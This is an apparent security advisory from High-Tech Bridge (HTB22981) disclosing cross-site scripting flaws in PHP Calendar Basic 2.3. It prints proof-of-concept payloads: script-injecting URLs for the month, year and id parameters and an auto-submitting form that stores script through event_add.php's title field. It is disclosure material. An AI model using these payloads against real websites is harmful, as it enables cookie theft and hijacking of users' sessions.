Total Tests:

Cross-site Scripting (XSS) Vulnerabilities in PHP Calendar Basic

This vulnerability was discovered by our security researchers before 2019.

Advisory ID:HTB22981
Product:PHP Calendar Basic
Vendor:Kubelabs.com
Vulnerable Versions:2.3 and probably prior
Tested Version:2.3
Advisory Publication:May 3, 2011 [without technical details]
Vendor Notification:May 3, 2011
Public Disclosure:May 17, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
Medium Risk
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in PHP Calendar Basic which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in PHP Calendar Basic
1.1 The vulnerability exists due to input sanitation errors in the "year" and "month" parameters in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/index.php?month=5"><script>alert('XSS')</script>&year=2011"><scr ipt>alert(document.cooki e)</script>
1.2 The vulnerability exists due to input sanitation error in the "title" parameter in event_add.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/event_add.php?day=27&month=4&year=2011" method="post" name="main">
<input type="hidden" name="month" value="4">
<input type="hidden" name="day" value="27">
<input type="hidden" name="year" value="2011">
<input type="hidden" name="hour" value="20">
<input type="hidden" name="minute" value="00">
<input type="hidden" name="title" value="1<script>alert('XSS')</script>">
<input type="hidden" name="description" value="descr">
<input type="submit" id="btn" name="submit" value="Add Event">
</form>
<script>
document.getElementById('btn').click();
</scrip t>

1.3 The vulnerability exists due to input sanitation errors in the "id" parameter in event_delete.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/event_delete.php?day=28&month=4&year=2011&id=1"><script>alert(do cument.cookie)</script>


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22981 - https://www.immuniweb.com/advisory/HTB22981 - Cross-site Scripting (XSS) Vulnerabilities in PHP Calendar Basic
[2] PHP Calendar Basic - kubelabs.com - PHP Calendar Basic is a free and easy to use PHP Calendar.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
Related Security Advisories: HTB22970: Multiple Vulnerabilities in PHPDug

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question